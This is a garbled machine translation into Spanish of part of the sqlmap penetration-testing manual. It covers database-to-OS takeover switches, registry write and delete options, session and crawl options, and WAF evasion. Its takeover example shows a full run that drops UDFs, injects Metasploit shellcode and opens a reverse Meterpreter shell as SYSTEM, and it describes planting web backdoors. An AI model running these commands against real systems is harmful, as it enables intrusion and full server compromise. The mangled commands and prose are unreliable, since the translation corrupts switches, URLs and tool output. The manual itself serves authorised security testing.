Donde las consultas apiladas no se ha identificado en la aplicación web (por ejemplo, PHP o ASP con sistema de gestión de base de datos back-end siendo MySQL) y el DBMS es MySQL, todavía es posible abusar de la SELECT de la cláusula INTO OUTFILE para crear una puerta trasera web en una carpeta se puede escribir en el directorio raíz de documentos del servidor web y aún así obtener la ejecución de comandos asumiendo el DBMS de back-end y el servidor web están alojados en el mismo servidor. sqlmap apoya esta técnica y permite que el usuario proporcione una lista separada por comas de posibles raíz del documento subcarpetas donde intenta cargar el archivo de la tela servidor de ensayo y la posterior puerta trasera web. Además, sqlmap tiene sus propios caballos de diligencia de archivo Web probado y puertas traseras de los siguientes idiomas:

ÁSPID ASP.NET JSP PHP

Fuera de la banda de conexión con estado: Meterpreter y amigos

Interruptores y opciones: --os-pwn , --os-SMBRelay , --os-BOF , --priv-esc , --msf en rutas de acceso y --tmp-path Es posible establecer una conexión TCP con estado fuera de banda entre la máquina atacante y el servidor de base de datos del sistema operativo subyacente cuando el sistema de gestión de base de datos back-end está bien MySQL, PostgreSQL o Microsoft SQL Server y el usuario de la sesión se la necesita privilegios que abusan de las funcionalidades específicas de bases de datos y los puntos débiles de arquitectura. Este canal puede ser un símbolo del sistema interactivo, una sesión Meterpreter o una sesión de interfaz gráfica de usuario (VNC) a elección del usuario.

sqlmap se basa en Metasploit para crear el código shell y ejecuta cuatro técnicas diferentes para ejecutarlo en el servidor de base de datos. Estas técnicas son:

Base de datos de ejecución en memoria de código shell del Metasploit través sqlmap propia función definida por el usuario sys_bineval () . Se admite en MySQL y PostgreSQL - cambiar --os-NMP .

Sube y ejecución de una de Metasploit servidor de ensayo de carga útil autónomo a través de sqlmap propia función definida por el usuario sys_exec () de MySQL y PostgreSQL o mediante xp_cmdshell () en Microsoft SQL Server - cambiar --os-NMP .

Ejecución de código shell de Metasploit mediante la realización de un ataque de reflexión SMB ( MS08-068 ) con una petición de ruta UNC desde el servidor de base de datos a la máquina del atacante donde el Metasploit smb_relay servidor explotar escuchas. Apoyado cuando se ejecuta sqlmap con privilegios elevados ( UID = 0 ) en Linux / Unix y el DBMS de destino se ejecuta como administrador en Windows - cambiar --os-SMBRelay .

Page 46: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Base de datos de ejecución en memoria de código shell del Metasploit mediante la explotación de Microsoft SQL Server 2000 y 2005 sp_replwritetovarbin procedimiento almacenado desbordamiento de búfer basado en heap ( MS09-004 ). sqlmap tiene su propio exploit para desencadenar la vulnerabilidad con bypass automático de protección de memoria DEP, pero depende de Metasploit para generar el código shell para ser ejecutado en la explotación exitosa - switch --os-BOF .

Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema operativo para el control total y en el conjunto de diapositivas La ampliación del control sobre el sistema operativo de la base de datos .

Ejemplo frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http:? //192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx \ id = 1 "--os-pwn --msf-path / software / Metasploit [...] [Hh: mm: 31] [INFO] el back-end DBMS es MySQL sistema operativo del servidor Web: Windows 2003 La tecnología de aplicaciones web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 DBMS MySQL 5.0: [Hh: mm: 31] las huellas dactilares el sistema operativo DBMS [INFO] [Hh: mm: 31] [INFO] el sistema operativo DBMS es Windows ¿cómo se quiere establecer el túnel? [1] TCP: Metasploit Framework (por defecto) [2] ICMP: icmpsh - túnel ICMP > [Hh: mm: 32] [INFO] prueba si el usuario actual es DBA [Hh: mm: 32] [INFO] ir a buscar usuario actual ¿cuál es la arquitectura del sistema de gestión de base de datos back-end? [1] de 32 bits (por defecto) [2] 64-bit > [Hh: mm: 33] Verificando 'sys_bineval' ya existe [INFO] UDF [Hh: mm: 33] comprobar si ya existe [INFO] UDF 'sys_exec' [Hh: mm: 33] [INFO] detección de back-end versión DBMS de su bandera [Hh: mm: 33] [INFO] recuperar directorio base de MySQL ruta absoluta [Hh: mm: 34] la creación del archivo UDF [INFO] UDF 'sys_bineval' binario [Hh: mm: 34] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria ¿cómo quieres para ejecutar el código shell Metasploit en el und de base de datos back-end erlying sistema operativo? [1] A través de UDF 'sys_bineval' (forma en la memoria, los anti-forense, por defecto) [2] Stand-alone servidor de ensayo de carga útil (archivo de forma de sistema) > [Hh: mm: 35] [INFO] la creación de Metasploit Framework código shell de etapas múltiples qué tipo de conexión es lo que desea utilizar? [1] TCP inversa: Conectar de nuevo desde el host de base de datos para esta máquina (por defecto)

Page 47: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

[2] TCP inversa: Intente volver a conectarse desde el host de base de datos para esta máquina, en todos los puertos entre el especificado y 65535 [3] enlazar TCP: Escucha en el host de base de datos para una conexión > que es la dirección local? [192.168.136.1] qué número de puerto local es lo que desea utilizar? [60641] el que la carga útil es lo que desea utilizar? [1] Meterpreter (por defecto) [2] Shell [3] VNC > [Hh: mm: 40] [INFO] creación en el progreso hecho ... [Hh: mm: 43] [INFO] ejecuta la interfaz de línea de comandos Metasploit Framework localmente, p arrendamiento de espera .. _ | | o _ _ _ _ _ | _ __, _ | | __ _ | _ / | / | / | | / | / | / \ _ | / \ _ | / / \ _ | | | | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / | _ / / | \ | = [Metasploit v3.7.0-dev [core: 3.7 API: 1,0] + - - = [674 - 351 exploits auxiliar + - - = [217 cargas útiles - 27 - 8 codificadores NOPS = [SVN r12272 actualizado hace 4 días (2011.04.07) CARGA => ventanas / meterpreter / reverse_tcp EXITFUNC => hilo Lport => 60641 LHOST => 192.168.136.1 [*] Iniciado manejador inversa en 192.168.136.1:60641 [*] Inicio del controlador de carga útil ... [Hh: mm: 48] [INFO] corriendo Metasploit Framework código shell remota a través de sys_b UDF ' ineval ', por favor espere .. [*] Envío de la etapa (749056 bytes) de 192.168.136.129 [*] Sesión Meterpreter 1 abierto (192.168.136.1:60641 -> 192.168.136.129:1689) una t Lun Abr 11 hh: mm: 52 0100 2011 meterpreter> Cargando extensión espia ... éxito. meterpreter> Cargando extensión de incógnito ... éxito. meterpreter> [-] La extensión 'priv' ya se ha cargado. meterpreter> Cargando extensión sniffer ... éxito. meterpreter> Idioma del sistema: es SO: Windows Server (Build 3790, Service Pack 2). Ordenador: W2K3R2 Arquitectura: x86 Meterpreter: x86 / win32

Page 48: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

meterpreter> nombre de usuario del servidor: NT AUTHORITY \ SYSTEM meterpreter> ipconfig MS interfaz de bucle invertido TCP Hardware MAC: 00: 00: 00: 00: 00: 00 Dirección IP: 127.0.0.1 Máscara de red: 255.0.0.0 Intel (R) PRO / 1000 MT de conexión de red Hardware MAC: 00: 0c: 29: fc: 79: 39 Dirección IP: 192.168.136.129 Máscara de red: 255.255.255.0 meterpreter> exit [*] Sesión Meterpreter 1 cerrado. Motivo: Salida de usuario

Por defecto de MySQL en Windows se ejecuta como SISTEMA , sin embargo PostgreSQL se ejecuta como un usuario con privilegios bajos postgres en Windows y Linux. Microsoft SQL Server 2000 ejecuta de forma predeterminada como SISTEMA , mientras que Microsoft SQL Server 2005 y 2008 se ejecuta la mayor parte de las veces como Servicio de red y, a veces como SERVICIO LOCAL . Es posible proporcionar sqlmap con el interruptor --priv-esc para llevar a cabo un proceso de base de datos 'escalada de privilegios de usuario a través de Metasploit getSystem de comandos que incluyen, entre otros, el kitrap0d técnica ( MS10-015 ).

el acceso al registro de Windows

Es posible acceder a Registro de Windows cuando el sistema de gestión de base de datos back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server, y cuando la aplicación web compatible con las consultas apilados. Además, la sesión de usuario tiene que tener los privilegios necesarios para acceder a ella.

Leer un valor de clave de registro de Windows

Cambiar: --reg lectura El uso de este interruptor se puede leer los valores de clave de registro.

Escribe un valor de clave de registro de Windows

Cambiar: --reg-add El uso de este interruptor se puede escribir los valores de clave de registro.

Eliminación de una clave del registro de Windows

Page 49: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Cambiar: --reg-del El uso de este interruptor puede eliminar las claves de registro.

Opciones de registro auxiliares

Opciones: --reg-clave , --reg-valor , --reg-datos y de tipo --reg Estas opciones se pueden utilizar para proporcionar los datos necesarios para el buen funcionamiento de los interruptores --reg lectura , --reg-add y --reg-del . Así, en lugar de proporcionar información clave de registro cuando se le pide, puede usarlos en símbolo del sistema como argumentos del programa. Con la tecla --reg- opción se especifica utilizarán rutas de acceso clave del registro de Windows, con --reg valor nombre del elemento de valor en el interior provisto de llave, con ---reg datos de datos de valor, mientras que con el tipo --reg opción especifica el tipo de la elemento de valor. Una línea de comandos de ejemplo para añadir una sección de Registro clave de la siguiente manera:

$ Python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 -R \ por ejemplo, añadir --reg-key = "HKEY_LOCAL_MACHINE \ SOFTWARE \ sqlmap" --reg-valor = Prueba --reg-ty \ pe = REG_SZ --reg-data = 1

General

Estas opciones se pueden utilizar para establecer algunos parámetros generales de trabajo.

sesión de la carga de un archivo almacenado (.sqlite)

Opción: -s sqlmap crea automáticamente un archivo de sesión SQLite constante para cada objetivo, dentro del directorio de salida especializada, donde se almacenan todos los datos necesarios para la sesión resumal. Si el usuario quiere establecer explícitamente la localización del archivo de sesión (por ejemplo, para el almacenamiento de datos de sesión para múltiples objetivos en un solo lugar) se puede usar esta opción.

Iniciar una sesión HTTP (s) tráfico a un archivo de texto

Opción: -t Esta opción requiere un argumento que especifica el archivo de texto para escribir todo el tráfico HTTP (s) generado por sqlmap - peticiones HTTP (S) y (S) respuestas HTTP.

Page 50: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Esto es útil principalmente para fines de depuración - cuando se proporciona a los desarrolladores con un potencial de informe de error, enviar el archivo también.

Actuar de modo no interactivo

Cambiar: --batch Si desea sqlmap para funcionar como una herramienta de proceso por lotes, sin la intervención de cualquier usuario cuando sqlmap lo requiere, puede forzar a que mediante el uso del interruptor --batch . Esto dejará sqlmap ir con un comportamiento por defecto cada vez que se requeriría de entrada del usuario.

la recuperación de contenido binario

Opción --binary campos En el caso de la recuperación de contenido binario, como en el ejemplo de las tablas que tienen la columna (s) con los valores binarios almacenados (por ejemplo, la columna contraseña con los valores hash de la contraseña almacenados binarios), es posible utilizar la opción --binary campos de manejo (extra) adecuado por sqlmap. Todos esos campos (es decir, las columnas de tabla a continuación) se recuperan y se representan en su representación hexadecimal, por lo que posteriormente podrían ser procesadas adecuadamente con otras herramientas (por ejemploJohn ).

Fuerza de codificación de caracteres utilizado para la recuperación de datos

Opción: --charset Para la decodificación adecuada de los datos de carácter sqlmap utiliza ya sea servidor proporcionado información de Internet (por ejemplo, cabecera HTTP Content-Type ) o un resultado heurística proveniente de una tercera parte de la biblioteca Chardet . Sin embargo, hay casos en los que este valor tiene que ser sobrescritos, especialmente cuando la recuperación de datos que contiene las cartas internacionales que no son ASCII (por ejemplo --charset = GBK ). Se ha de señalar que hay una posibilidad de que la información de caracteres que va a ser irreversible perdido debido a la incompatibilidad implícita entre el contenido de la base de datos se almacena y conector de base de datos utilizada en el lado de destino.

Rastrear el sitio web a partir de la dirección URL de destino

Opción: --crawl sqlmap puede recopilar enlaces potencialmente vulnerables por su recogida (rastreo) a partir de la ubicación de destino. El uso de este usuario opción puede

Page 51: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

establecer una profundidad (distancia desde un lugar de partida) por debajo del cual no va a sqlmap en la recogida de fase, ya que el proceso se está haciendo de forma recursiva, siempre y cuando hay nuevos enlaces que se pueden visitar.

Ejemplo de gestión frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl = 3 [...] [Xx: xx: 53] [INFO] rastreador de partida [Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 1 [Xx: xx: 53] [ADVERTENCIA] se ejecuta en un modo de un solo hilo. Esto podría tomar un tiempo [Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 2 [Xx: xx: 54] [Info] heurísticos detectan la página web de juego de caracteres 'ascii' [Xx: xx: 00] [INFO] 42/56 enlaces visitados (75%) [...]

Opción --crawl-excluir Con esta opción se puede excluir páginas de rastreo, proporcionando una expresión regular. Por ejemplo, si desea omitir todas las páginas que tienen la palabra clave cierre de sesión en sus caminos, puede utilizar --crawl-exclude = cierre de sesión .

La delimitación de caracteres utilizado en la producción de CSV

Opción: --csv-del Cuando los datos objeto de dumping es almacenado en el formato CSV ( --dump-format = CSV ), las entradas tienen que ser separados con un "valor de separación" (por defecto es , ). En caso de que el usuario quiere anular su valor por defecto se puede usar esta opción (por ejemplo --csv-del = ";" ).

las credenciales de autenticación de DBMS

Opción: --dbms-CRED En algunos casos, el usuario será advertido de que algunas operaciones fracasaron debido a la falta de privilegios de usuario DBMS actuales y que podría tratar de usar esta opción. En esos casos, si se proporciona de administración credenciales de usuario para sqlmap mediante el uso de esta opción, sqlmap tratará de volver a ejecutar la parte problemática con especializada "ejecutar como" mecanismos (por ejemplo OPENROWSET en Microsoft SQL Server) usando esas credenciales.

Formato de los datos objeto de dumping

Opción: --dump-formato

Page 52: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

sqlmap es compatible con tres tipos diferentes de formato a la hora de almacenar datos de la tabla objeto de dumping en el archivo correspondiente que hay en un directorio de salida: CSV , HTML ySQLITE . Que viene por defecto es CSV , donde cada fila de la tabla se almacena en un archivo de texto línea por línea, y donde cada entrada está separada por una coma , (o uno proporcionado con la opción --csv-del ). En caso de HTML , la salida se almacena en un archivo HTML, donde cada fila se representa con una fila dentro de una tabla con formato. En caso deSQLITE , la salida se almacena en una base de datos SQLite, donde el contenido de la tabla original se replica en la tabla correspondiente que tiene un mismo nombre.

Tiempo estimado de llegada

Cambiar: --eta Es posible calcular y mostrar en tiempo real la hora estimada de llegada para recuperar cada salida de la consulta. Esto se muestra cuando la técnica utilizada para recuperar la salida es cualquiera de los tipos de inyección de SQL ciegos.

Ejemplo contra un objetivo Oracle afectado sólo por inyección SQL ciega basada en booleana:

$ Python sqlmap.py -u "http:? //192.168.136.131/sqlmap/oracle/get_int_bool.php ID \ = 1 "-b --eta [...] [Hh: mm: 01] [INFO] el DBMS es Oracle [Hh: mm: 01] [INFO] bandera ir a buscar [Hh: mm: 01] [INFO] recuperar la longitud de salida de la consulta [Hh: mm: 01] [INFO] recuperada: 64 17% [========>] 11/64 ETA doce y diecinueve

Entonces:

100% [=============================================== ====] 64/64 [Hh: mm: 53] [INFO] recuperado: Oracle Database 10g Enterprise Edition Release 10.2 .0.1.0 - Prod La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache back-end DBMS: Oracle banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

Como se puede ver, sqlmap primero calcula la longitud de la salida de la consulta, a continuación, calcula la hora de llegada, muestra el progreso en porcentaje y cuenta el número de caracteres de salida recuperados.

Lavar los archivos de sesión

Opción: --flush de sesiones Como ya está familiarizado con el concepto de un archivo de sesión de la descripción anterior, es bueno saber que se puede vaciar el contenido de ese

Page 53: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

archivo usando la opción --flush de sesiones . De esta manera se pueden evitar los mecanismos de caché implementadas por defecto en sqlmap. Otra forma posible es eliminar manualmente el archivo (s) sesión.

Analizar y campos de entrada de formularios de prueba '

Switch: --forms Digamos que usted desea probar las inyecciones de SQL contra una enorme búsqueda o desea probar un bypass de inicio de sesión (por lo general sólo dos campos de entrada con un nombre como nombre de usuario y contraseña ), puede pasar al sqlmap la solicitud en un archivo de solicitud ( r ) , ajustar los datos publicados en consecuencia ( --Hojas ) o dejar que sqlmap lo haga por usted! Ambos de los casos mencionados anteriormente, y muchos otros, aparecen como <form> y<input> etiquetas en los órganos de respuesta HTML y aquí es donde este interruptor entra en juego. Proporcionar sqlmap con --forms , así como la página en la forma como se puede encontrar la URL de destino ( -u ) y sqlmap solicitará la URL de destino para usted, analizar las formas que tiene y guiará a través de la prueba de inyección SQL en los campos de formulario de entrada (parámetros) en lugar de la dirección URL de destino previsto.

Ignorar resultados de la consulta almacenados en el archivo de sesión

Interruptor: --fresh-consultas Como ya está familiarizado con el concepto de un archivo de sesión de la descripción anterior, es bueno saber que puede pasar por alto el contenido de ese archivo usando la opción --fresh-consultas . De esta manera se puede mantener el archivo de sesión sin tocar y para una carrera seleccionada, evitar la reanudación / restauración de la salida de las consultas.

Utilice la función hexagonal DBMS (s) para la recuperación de datos

Cambiar: --hex En los casos perdidos de recuperación de datos no ASCII requiere necesidades especiales. Una solución para este problema es el uso de la función hex DBMS (s). Excitado por este interruptor, los datos se codifica a su forma hexadecimal antes de ser recuperado y después sin codificar a su forma original.

Ejemplo frente a un objetivo de PostgreSQL:

Page 54: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

$ Python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b \ Anner --hex -v 3---parse errores [...] [Xx: xx: 14] [INFO] bandera ir a buscar [Xx: xx: 14] [CARGA] 1 Y = 5849 CAST ((CHR (58) || CHR (118) || CHR (116) || CHR (106) || CHR (58)) || (ENCODE (convert_to ((COALESCE (CAST (VERSION () como el personaje (10000)), (CHR (32) ))), (CHR (85) || CHR (84) || CHR (70) || CHR (56))), (CHR (72) || CHR (69) || CHR (88)))) :: texto || ( CHR (58) || CHR (110) || CHR (120) || CHR (98) || CHR (58)) como numéricos) [Xx: xx: 15] [INFO] analiza el mensaje de error: "pg_query () [<a href = 'function.pg-consulta' > Function.pg-consulta </a>]: Error en la consulta: ERROR: sintaxis de entrada válido para este tipo num Eric: ": VTJ: 506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d 676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961 6e2032e332e322d312e312920342e332e32: nxb: "en <b> /var/www/sqlmap/libs/pgsql.inc.p CV </ b> en la línea <b> 35 </ b> ' [Xx: xx: 15] [INFO] recuperado: PostgreSQL 8.3.9 en i486-pc-linux-gnu, compilado por GCC GCC-4.3.real (Debian 4.3.2-1.1) 4.3.2 [...]

ruta del directorio de salida personalizado

Opción: --output-dir sqlmap por sesión de almacenes predeterminados y archivos de resultados dentro de un subdirectorio de salida . En caso de que desee utilizar una ubicación diferente, puede utilizar esta opción (por ejemplo --output-dir = / tmp ).

Analizar los mensajes de error de DBMS de páginas de respuesta

Interruptor: --parse-errors Si la aplicación web está configurado en modo de depuración para que muestre en las respuestas HTTP los mensajes de error del sistema de gestión de base de datos back-end, sqlmap pueden analizar y mostrar ellos para usted.

Esto es útil para propósitos de depuración como entender por qué un determinado enumeración o el interruptor de toma de control no funciona - que podría ser una cuestión de privilegios de la sesión del usuario y en este caso se vería un mensaje de error de DBMS a lo largo de las líneas de acceso denegado para el usuario <SESIÓN DE USUARIO > . Ejemplo frente a un objetivo de Microsoft SQL Server:

Page 55: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

$ Python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" \ --parse-errors [...] [Xx: xx: 17] [INFO] ORDER BY técnica parece ser utilizable. Esto debería reducir la timeneeded para encontrar el número correcto de columnas de la consulta. que se extiende de forma automática TH e rangefor prueba técnica de inyección consulta UNION actual [Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB para ODBC Driv ERS (0x80040E14) [Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 10 i s fuera del rango del número de elementos de la lista de selección. <B> /sqlmap/mssql/iis/get_int.asp, línea 27 </ b> ' [Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB para ODBC Driv ERS (0x80040E14) [Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 6 es fuera del alcance de la cantidad de elementos en la lista de selección. <B> /sqlmap/mssql/iis/get_int.asp, línea 27 </ b> ' [Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB para ODBC Driv ERS (0x80040E14) [Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 4 es fuera del alcance de la cantidad de elementos en la lista de selección. <B> /sqlmap/mssql/iis/get_int.asp, línea 27 </ b> ' [Xx: xx: 17] [INFO] URL de destino parece tener 3 columnas en la consulta [...]

Guardar las opciones en un archivo de configuración INI

Opción: --save Es posible guardar las opciones de línea de comandos en un archivo INI de configuración. El archivo generado se puede editar y se pasa a sqlmap con el -c opción como se explicó anteriormente.

actualización sqlmap

Cambiar: --update El uso de esta opción puede actualizar la herramienta a la última versión de desarrollo directamente desde el repositorio Git . Obviamente, se necesita conexión a Internet.

Si, por cualquier razón, esta operación falla, ejecuta git pull de su copia de trabajo sqlmap. Se llevará a cabo la misma operación del interruptor de --update . Si está ejecutando sqlmap en Windows, puede utilizar el SmartGit cliente.

Page 56: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Esto es muy recomendable antes de informar sobre cualquier error a las listas de correo .

Diverso

Utilice mnemotécnicos cortos

Opción: -z Podría llegar a ser tedioso para escribir todas las opciones e interruptores deseados, especialmente para aquellos que se utilizan con mayor frecuencia (por ejemplo --batch --random-agente --ignore-proxy = --technique BEA ). Hay una manera más simple y mucho más breve cómo hacer frente a ese problema. En sqlmap se llama "mnemónicos". Cada opción y el interruptor se pueden escribir en una forma mnemotécnica más corto utilizando la opción -z , separados por una coma ( , ), donde mnemotécnicos representan sólo la primera parte arbitrariamente elegido del nombre original. No hay ninguna asignación estricta de opciones e interruptores a sus respectivos homólogos acortados. Única condición requerida es que no hay otra opción ni interruptor que tiene un mismo prefijo que el deseado. Ejemplo:

$ Python sqlmap.py --batch --random-agente --ignore-proxy = --technique BEA -u "ww \ w.target.com/vuln.php?id=1 "

se puede escribir (una de muchas maneras) en forma mnemotécnica más corto, como:

$ Python sqlmap.py -z "bat, randoma, IGN, tec = BEA" -u "www.target.com/vuln.php~~V~~3rd? Id = \ 1 "

Otro ejemplo:

$ Python sqlmap.py --ignore-proxy---flush sesión --technique = T --dump -D testd \ b usuarios -T -u "www.target.com/vuln.php?id=1"

puede escribirse de forma más corta mnemotécnica como:

$ Python sqlmap.py -z "IGN, la gripe, el palo, tec = T, descarga, D = testdb, T = users" -u www.target ". \ com / vuln.php? id = 1 "

Alertando sobre la detección de inyección SQL éxito

Opción: --alert

Set respuestas para las preguntas

Page 57: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

Opción: --answers En caso de que el usuario quiere configurar automáticamente respuestas para las preguntas, incluso si --batch se utiliza, el uso de esta opción puede hacerlo proporcionando cualquier parte de la pregunta, junto con la respuesta después de un signo igual. Además, las respuestas de diferentes cuestión se pueden dividir con carácter delimitador , . Ejemplo frente a un objetivo de MySQL:

$ Python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --te \ --answers chnique = E = "que se extiende = N" --batch [...] [Xx: xx: 56] [INFO] pruebas de inyección SQL en GET parámetro 'id' prueba heurística (análisis) mostró que el DBMS de back-end podrían ser 'MySQL'. Vos si quiera saltarse las cargas útiles de ensayo específicos para otros DBMS? [Y / n] Y [Xx: xx: 56] [INFO] ¿desea incluir todas las pruebas para 'MySQL' que se extiende proporcionar d nivel (1) y el riesgo (1)? [Y / n] N [...]

Hacer un pitido cuando se encuentra de inyección SQL

Cambiar: ni --beep ni En caso de que el usuario utiliza el interruptor ni --beep ni que va a ser advertido mediante un pitido cuando se encuentra inmediatamente la inyección de SQL. Esto es especialmente útil cuando hay una lista de gran volumen (opción -m ) de las URL de destino para ser probado.

Limpieza de los DBMS UDF sqlmap específico (s) y la mesa (s)

Cambiar: --cleanup Se recomienda limpiar el sistema de gestión de base de datos back-end de la tabla (s) sqlmap temporal y función definida por el usuario creado (s) cuando haya terminado de asumir el control del sistema operativo subyacente o del sistema de archivos. Cambiar --cleanup intentará limpiar el DBMS y el sistema de archivos siempre que sea posible.

Compruebe si hay dependencias

Cambiar: --dependencies sqlmap en algunos casos especiales requiere una instalación independiente de bibliotecas adicionales 3 ª parte (por ejemplo, opciones -d , cambian --os-pwn en caso de icmpsh túnel, opción --auth tipo en caso de NTLM tipo de autenticación

Page 58: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

HTTP, etc.) y advertirá al usuario sólo en esos casos especiales. Pero, si usted quiere comprobar de forma independiente para todas aquellas dependencias adicionales 3ª parte de la biblioteca se pueden utilizar los interruptores --dependencies . $ Python sqlmap.py --dependencies [...] [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-KInterbasDB' en Para conectar directamente a la DBMS Firebird. Descargar de http: // kinterbasd b.sourceforge.net/ [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de terceros en ord er para conectar directamente al SGBD Sybase. Descargar de http: //pymssql.sourcefo rge.net/ [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros '' pitón pymysql en ord er para conectar directamente a la DBMS MySQL. Descargar de https://github.com/peteh UNT / PyMySQL / [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitón cx_Oracle' en O rder para conectar directamente a la base de datos Oracle. Descargar de http: //cx-oracle.sour ceforge.net/ [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-psycopg2' en o der para conectar directamente al SGBD PostgreSQL. Descargar de http://initd.org/p sycopg / [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitón IBM-db' in orde r para conectar directamente a la DBMS DB2 de IBM. Descargar de http://code.google.com/ p / IBM-db / [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'pitón jaydebeapi y python-jpype "tercer-pa rty biblioteca con el fin de conectar directamente a la DBMS HSQLDB. Descargar de https : //pypi.python.org/pypi/JayDeBeApi/ Y http://jpype.sourceforge.net/ [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pyodbc' biblioteca de terceros en el orde r para conectar directamente al DBMS de Microsoft Access. Descargar de http: // pyodbc. googlecode.com/ [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de terceros en ord er para conectarse directamente al servidor de Microsoft SQL DBMS. Descargar de http: // py mssql.sourceforge.net/ [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-ntlm' si pl un ataque a una aplicación web detrás de la autenticación NTLM. Descargar de http: //

Page 59: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

code.google.com/p/python-ntlm/ [Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'WebSocket-cliente' si y ou plan para atacar a una aplicación web utilizando WebSocket. Descargar de https: // PyPI. python.org/pypi/websocket-client/

colorear salida de la consola Desactivar

Cambiar: --disable-colorear sqlmap por defecto utiliza para colorear el momento de escribir a la consola. En caso de efectos no deseados (por ejemplo, la apariencia de la consola de códigos ANSI para colorear no interpretados como \ x01 \ X1B [0; 32m \ x02 [INFO] ) se puede desactivar la salida de la consola para colorear usando esta variable.

Usar los resultados de Google dork del número de página especificado

Opción: --gpage El comportamiento por defecto sqlmap con la opción -g es hacer una búsqueda en Google y utilizar los primeros 100 URL resultantes de realizar más pruebas de inyección SQL. Sin embargo, en combinación con esta opción se puede especificar con esta opción ( --gpage ) una página que no sea la primera de ellas para recuperar las URL de destino de.

Utilice la contaminación parámetro HTTP

Cambiar: --hpp Contaminación parámetro HTTP (HPP) es un método para pasar por los mecanismos de protección WAF / IPS / IDS (que se explica aquí ) que es particularmente eficaz contra ASP / IIS y plataformas ASP.NET/IIS~~number=plural. Si sospecha que el objetivo está detrás de esa protección, se puede tratar de eludirlo utilizando este interruptor.

Hacer una prueba a través de una protección WAF / IPS / IDS

Cambiar: --identify-WAF sqlmap puede tratar de identificar backend protección WAF / IPS / IDS (si lo hay) para que el usuario pudiera hacer las medidas adecuadas (por ejemplo, utilizan secuencias de comandos de manipulación con --tamper ). Actualmente, alrededor de 30 productos diferentes son compatibles (bolsa de aire, Barracuda WAF, etc.) y sus respectivos guiones WAF se pueden encontrar dentroWAF directorio. Ejemplo de MySQL contra un objetivo protegido por la ModSecurity WAF:

Page 60: opciones - files.danwin1210.me · --dns-domain = DNS .. nombre de dominio utilizado para el ataque exfiltración DNS --second-order = S .. Resultando URL de la página buscó la respuesta

